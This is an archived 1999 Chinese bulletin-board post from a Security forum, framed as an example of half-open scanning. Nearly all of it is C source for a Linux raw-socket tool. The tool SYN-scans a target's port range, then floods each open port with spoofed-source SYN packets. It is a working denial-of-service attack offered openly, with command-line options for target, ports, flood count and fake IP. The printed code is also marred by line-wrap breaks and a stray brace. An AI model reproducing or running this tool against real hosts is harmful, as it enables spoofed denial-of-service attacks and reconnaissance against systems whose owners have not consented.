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<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="316.htm">上一层</a>][<a href="423.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (晓舟·轩辕明月), 信区: Security <br>
标 题: 一个半开扫描的例子 <br>
发信站: 武汉白云黄鹤站 (Fri Sep 17 20:33:53 1999), 站内信件 <br>
/* <br>
File : linuxsyn.c linuxsyn.h linuxlib.c linuxlib.h <br>
Test : Linux2.2.5 <br>
Compile: <br>
*/ <br>
/******************************************************************* <br>
* * <br>
* 头文件 * <br>
* * <br>
*******************************************************************/ <br>
#include "linuxsyn.h" <br>
int sendSyn ( int sendSocket, u_long sourceIp, u_short sourcePort, u_long se <br>
qNum <br>
, struct sockaddr_in *dest ) <br>
{ <br>
unsigned char netPacket[IPTCPSIZE]; <br>
struct iphdr *ip; <br>
struct tcphdr *tcp; <br>
unsigned char *pPseudoHead; /* 指向伪头标的指针 */ <br>
unsigned char pseudoHead[12 + sizeof(struct tcphdr)]; /* 伪头标占12字节 <br>
*/ <br>
u_short tcpHeadLen; /* 网络字节顺序 */ <br>
memset( netPacket, 0, IPTCPSIZE ); <br>
ip = (struct iphdr *)netPacket; <br>
ip->ihl = 5; <br>
ip->version = 4; <br>
ip->tos = 0; <br>
ip->tot_len = htons( IPTCPSIZE ); <br>
ip->id = htons( 2600 + ( rand() % 32768 ) ); /* 随机产生ip->id */ <br>
ip->frag_off = 0; <br>
ip->ttl = 255; <br>
ip->protocol = IPPROTO_TCP; <br>
ip->check = 0; <br>
ip->saddr = sourceIp; <br>
ip->daddr = dest->sin_addr.s_addr; <br>
/* <br>
ip->check = in_cksum( (char *)&ip, sizeof( struct iphdr ) ); <br>
*/ <br>
tcpHeadLen = htons( sizeof(struct tcphdr) ); /* 网络字节顺序 */ <br>
tcp = (struct tcphdr *)( netPacket + sizeof( struct iphdr ) ); <br>
tcp->source = htons( sourcePort ); <br>
tcp->dest = htons( dest->sin_port ); <br>
tcp->seq = htonl( seqNum ); <br>
tcp->ack_seq = 0; <br>
tcp->doff = 5; <br>
tcp->syn = 1; <br>
tcp->window = htons( 10052 ); <br>
tcp->check = 0; <br>
tcp->urg_ptr = 0; <br>
pPseudoHead = pseudoHead; <br>
memset( pPseudoHead, 0, 12 + sizeof(struct tcphdr) ); <br>
memcpy( pPseudoHead, &(ip->saddr), 8 ); <br>
pPseudoHead += 9; /* 有一个字节用做对齐 */ <br>
memcpy( pPseudoHead, &(ip->protocol), 1 ); <br>
pPseudoHead++; <br>
memcpy( pPseudoHead, &tcpHeadLen, 2 ); <br>
pPseudoHead += 2; <br>
memcpy( pPseudoHead, tcp, sizeof( struct tcphdr ) ); <br>
tcp->check = in_cksum( (u_short *)pseudoHead, sizeof(struct tcphdr) + 12 ) <br>
; <br>
return( sendto( sendSocket, netPacket, IPTCPSIZE, 0, <br>
(struct sockaddr *)dest, sizeof(struct sockaddr_in) ) ); <br>
} /* end of sendSyn */ <br>
int synScan ( int sendSocket, int readSocket, u_long sourceIp, u_short sourc <br>
ePor <br>
t, u_short lowPort, u_short highPort, struct sockaddr_in *dest ) <br>
{ <br>
unsigned char netPacket[IPTCPSIZE]; <br>
struct iphdr *ip; <br>
struct tcphdr *tcp; <br>
int portLoop, portTotal = 0; <br>
ip = (struct iphdr *)netPacket; <br>
tcp = (struct tcphdr *)( netPacket + sizeof( struct iphdr ) ); <br>
for ( portLoop = lowPort, portTotal = 0 ; portLoop <= highPort && portTo <br>
tal <br>
< HIGHPORT ; portLoop++ ) <br>
{ <br>
dest->sin_port = portLoop; /* 循环设定待扫描端口 */ <br>
if ( sendSyn( sendSocket, sourceIp, sourcePort, 31337, dest ) == -1 <br>
) <br>
{ <br>
err_sys( "Error sending SYN packet" ); <br>
} <br>
while ( 1 ) <br>
{ <br>
memset( &netPacket, 0, IPTCPSIZE ); <br>
read( readSocket, &netPacket, IPTCPSIZE ); <br>
/* 是来自目标IP？ */ <br>
if( ip->saddr != dest->sin_addr.s_addr ) <br>
{ <br>
continue; <br>
} <br>
/* 序列号正确？ */ <br>
if( (ntohl(tcp->ack_seq) != 31338) && (ntohl(tcp->ack_seq) != 31 <br>
337) <br>
) <br>
{ <br>
continue; <br>
} <br>
/* RST/ACK - No service listening on port. */ <br>
if( tcp->rst && tcp->ack ) <br>
{ <br>
break; <br>
} <br>
/* SYN/ACK - Service listening on port. 扫描到一个端口 */ <br>
if( tcp->ack && tcp->syn ) <br>
{ <br>
ports[portTotal] = ntohs( tcp->source ); /* 记录扫描到的目标 <br>
端 <br>
口 */ <br>
fprintf( stderr, "%d\n", ports[portTotal] ); <br>
fflush( stderr ); <br>
portTotal++; <br>
break; <br>
} <br>
} /* end of while */ <br>
} /* end of for */ <br>
return( portTotal ); <br>
} /* end of synScan */ <br>
void synFlood ( int sendSocket, u_long fakeIp, u_short fakePort, u_short syn <br>
Num, <br>
struct sockaddr_in *dest ) <br>
{ <br>
int i; <br>
fprintf( stderr, "%d", dest->sin_port ); <br>
fflush( stderr ); <br>
for ( i = 0; i < synNum; i++ ) <br>
{ <br>
usleep( 30 ); <br>
if( (sendSyn(sendSocket, fakeIp, fakePort, 31337, dest)) == -1 ) <br>
{ <br>
err_sys( "Error sending SYN packet" ); <br>
} <br>
fakePort++; <br>
fprintf( stderr, "." ); <br>
fflush( stderr ); <br>
} /* end of for */ <br>
fprintf( stderr, "\n" ); <br>
return; <br>
} /* end of synFlood */ <br>
u_long resolve ( char *host ) <br>
{ <br>
struct hostent *he; <br>
u_long ip; <br>
if( (he = gethostbyname(host)) == NULL ) <br>
{ <br>
ip = inet_addr( host ); /* 网络字节顺序 */ <br>
} <br>
else <br>
{ <br>
bcopy( he->h_addr_list[0], &ip, sizeof(u_long) ); <br>
} <br>
} <br>
return( ip ); <br>
} /* end of resolve */ <br>
int main ( int argc, char* argv[] ) <br>
{ <br>
int c, sendSocket, readSocket, portTotal; <br>
u_long fakeIp, sourceIp, destIp; <br>
u_short i, lowPort, highPort, synNum, fakePort = 2600, source <br>
Port <br>
= 2600; <br>
struct sockaddr_in dest; <br>
unsigned char hostName[256]; <br>
portTotal = synNum = lowPort = highPort = fakeIp = sourceIp = destIp = 0 <br>
; <br>
opterr = 0; /* don't want getopt() writing to stderr */ <br>
while ( (c = getopt(argc, argv, "n:l:h:i:p:f:")) != EOF ) <br>
{ <br>
switch ( c ) <br>
{ <br>
case 'n': <br>
synNum = (u_int16_t)strtoul( optarg, NULL, 10 ); <br>
break; <br>
case 'l': <br>
lowPort = (u_int16_t)strtoul( optarg, NULL, 10 ); <br>
break; <br>
case 'h': <br>
highPort = (u_int16_t)strtoul( optarg, NULL, 10 ); <br>
break; <br>
case 'i': /* 目标主机 */ <br>
if( (destIp = resolve( optarg )) == -1 ) <br>
{ <br>
fprintf( stderr, "Bad hostname or ip address: %s\n", optarg <br>
); <br>
goto ERROPTION; <br>
} <br>
break; <br>
case 'p': /* 目标端口 */ <br>
lowPort = highPort = (u_int16_t)strtoul( optarg, NULL, 10 ); <br>
break; <br>
case 'f': /* fakeIp */ <br>
if( (fakeIp = inet_addr( optarg )) == -1 ) <br>
{ <br>
fprintf( stderr, "Bad ip address: %s\n", optarg ); <br>
fprintf( stderr, "Defaulting to %s...\n", FAKEIP ); <br>
fakeIp = inet_addr( FAKEIP ); <br>
} <br>
break; <br>
case '?': <br>
ERROPTION: <br>
err_quit( " Usage: %s [-n synNum] [-l lowPort] [-h highPort]\n\t <br>
[-i <br>
targetHost] [-p targetPort] [-f fakeIp]", argv[0] ); <br>
break; <br>
} /* end of switch */ <br>
} /* end of while 处理命令行参数 */ <br>
/* Institute defaults if these options have not been specified. */ <br>
if ( !destIp ) <br>
{ <br>
goto ERROPTION; <br>
} <br>
if ( !synNum ) <br>
{ <br>
synNum = SYNNUM; <br>
} <br>
if ( !lowPort ) <br>
{ <br>
lowPort = LOWPORT; <br>
} <br>
if ( !highPort ) <br>
{ <br>
highPort = HIGHPORT; <br>
} <br>
if ( !fakeIp ) <br>
{ <br>
fakeIp = inet_addr( FAKEIP ); /* 返回u_long */ <br>
} <br>
/* Fill in dest sockaddr_in structure. */ <br>
dest.sin_family = AF_INET; <br>
dest.sin_addr.s_addr = destIp; <br>
dest.sin_port = 0; <br>
if ( gethostname(hostName, sizeof(hostName) - 1) == -1 ) <br>
{ <br>
err_sys( "Unable to get our hostname" ); <br>
} <br>
if( (sourceIp = resolve(hostName)) == -1 ) <br>
{ <br>
err_sys( "Unable to resolve our hostname" ); <br>
} <br>
sendSocket = Socket( PF_INET, SOCK_RAW, IPPROTO_RAW ); <br>
readSocket = Socket( PF_INET, SOCK_RAW, IPPROTO_TCP ); <br>
fprintf( stderr, "Beginning on %s，from %d to %d. \n", <br>
inet_ntoa(dest.sin_addr), lowPort, highPort ); <br>
fprintf( stderr, "Scanning ... ...\n" ); <br>
fflush( stderr ); <br>
portTotal = synScan( sendSocket, readSocket, sourceIp, sourcePort, lowPo <br>
rt, <br>
highPort, &dest ); <br>
fprintf( stderr, "Scan completed. %d listening ports found.\n", portTota <br>
l ); <br>
usleep( 2000 ); /* Pause to let everything clear out. */ <br>
fprintf( stderr, "Flooding with %d SYNs each port...\n", synNum ); <br>
fflush( stderr ); <br>
if( portTotal ) <br>
{ <br>
for( i = 0; i < portTotal; i++ ) <br>
{ <br>
dest.sin_port = ports[i]; <br>
synFlood( sendSocket, fakeIp, fakePort, synNum, &dest ); <br>
} <br>
} <br>
fprintf( stderr, "Flood completed, exiting ... ...\n" ); <br>
return (0); <br>
} /* end of main */ <br>
-- <br>
我问飘逝的风：来迟了？ <br>
风感慨：是的，他们已经宣战。 <br>
我问苏醒的大地：还有希望么？ <br>
大地揉了揉眼睛：还有，还有无数代的少年。 <br>
我问长空中的英魂：你们相信？ <br>
英魂带着笑意离去：相信，希望还在。 <br>
※ 修改:．cloudsky 于 Sep 17 20:34:14 修改本文．[FROM: 203.207.226.124] <br>
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